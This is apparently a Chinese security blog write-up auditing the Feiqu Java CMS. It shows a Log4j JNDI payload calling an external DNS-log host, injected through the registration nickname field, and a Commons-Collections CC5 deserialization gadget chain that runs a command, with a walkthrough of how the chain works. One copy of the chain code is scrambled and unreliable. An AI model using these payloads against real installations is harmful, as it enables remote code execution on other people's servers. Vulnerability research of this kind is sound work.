java安全 飞趣CMS审计
最近在在审一套cms,记录一下有趣的过程。
在拿到cms的之后,突然发现,前两天xz社区的某位师傅,已经分析了该cms。所以本人在该原有发现
漏洞的基础上,进行了更深一步挖掘。
该师傅的文章: https://xz.aliyun.com/t/11137#toc-5
环境部署不做过多讲解,简单说一下遇到的"坑":
在该项目的resources配置数据库以及redis。 redis和mysql的密码都是通过aes加密的,工具类在:
com.feiqu.common.utils.AESUtil,避免了明文展示密码。
1.Log4j漏洞
首先跟着复现了一波fastjson的反序列化,但是JSON.parseObject无可控点。
第二处,redisString.get这里,是由xz的师傅已经分析过。无利用点。但是在上面中发现了logger.info()。
所以现在测试一下log4j这个洞,可以发现是存在的
public class Test1 {
public static void main(String[] args) {
LogManager.getLogger(logtest.class);
logger.info("${jndi:ldap://17zuzp.dnslog.cn}");
}
}
所以在com.feiqu.web.controller.UserController中home函数的944行,是一个绝佳的利用点
经过测试,在注册的时候填入payload即可。
日志信息
DNSLOG回显如下:
经过在注册的时候,也存在log4j的使用。
payload还是在昵称这里,可以看到前端页面中name对应了FqUser工具类中。
当注册之后,成功利用
至于其它的log4j利用点就不找了,相对于xz师傅找到的log4j利用点,本人找的两个已经非常容易利用了。
collections3反序列化漏洞
在包中发现了该组件,这就用到了CC链系列了。这里用CC3版本。因为本人在进行测试CC4版本的时候。其中有些类不能被序列化了~这就凉凉。
直接用CC5的payload直接打就行了
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new new Object[] InvokerTransformer("getMethod", new Class[] {String.class, Class[ { "getRuntime", new Class[0] }), ].class },
new new Object[] InvokerTransformer("invoke", new Class[] {Object.class, Object[]. { null, new Object[0] }), class },
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
new ChainedTransformer(transformers);
Map innerMap = new HashMap();
LazyMap.decorate(innerMap, transformerChain);
new TiedMapEntry(outerMap,"keykey");
new BadAttributeValueExpException(1);
BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(POC,tiedmap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new
FileOutputStream("cc5.bin"));
objectOutputStream.writeObject(POC);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new
FileInputStream("cc5.bin"));
objectInputStream.readObject();
objectInputStream.close();
简单分析一下CC5这条链的过程。
利用链如下:
1ObjectInputStream.readObject()
2 BadAttributeValueExpException.readObject()
3 TiedMapEntry.toString()
4 LazyMap.get()
5 ChainedTransformer.transform()
6 ConstantTransformer.transform()
7 InvokerTransformer.transform()
8 Method.invoke()
9 Class.getMethod()
10 InvokerTransformer.transform()
11 Method.invoke()
12 Runtime.getRuntime()
13 InvokerTransformer.transform()
14 Method.invoke()
前面的不过多讲解,相信大家都能看懂,这是一个命令执行
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
new ChainedTransformer(transformers);
接着往下分析
Map innerMap new HashMap();
Map outerMap LazyMap.decorate(innerMap, transformerChain) ;
TiedMapEntry new TiedMapEntry(outerMap,"keykey");
LazyMap初始化如下,会将transformerChain存入到factory
之后在LazyMap.get中调用到了transform
那么谁会调用到LazyMap.get呢?
在TiedMapEntry初始化会将LazyMap作为第一个参数传入
所以此时关注有没有map.get方法,这样就会调用到LazyMap.get方法
又又又一个问题,TiedMapEntry.getValue()谁会调用?
而利用链中写到了,TiedMapEntry.toString(),其实toString调用了getValue(),从而调用到LazyMap.get方法
谁会调用TiedMapEntry.toString()?这里通过反射,将val设置为了TiedMapEntry(tiedmap)
BadAttributeValueExpException POC = new BadAttributeValueExpException(1);
Field field = BadAttributeValueExpException .class.getDeclaredField("val");
field.setAccessible(true);
field.set(POC,tiedmap);
最后在readObject的时候,执行了toString方法。
但是在最后,本人只找到了一处readObject
至于后续SQL注入的话,找了好几个,但参数都不可控,也就放弃了。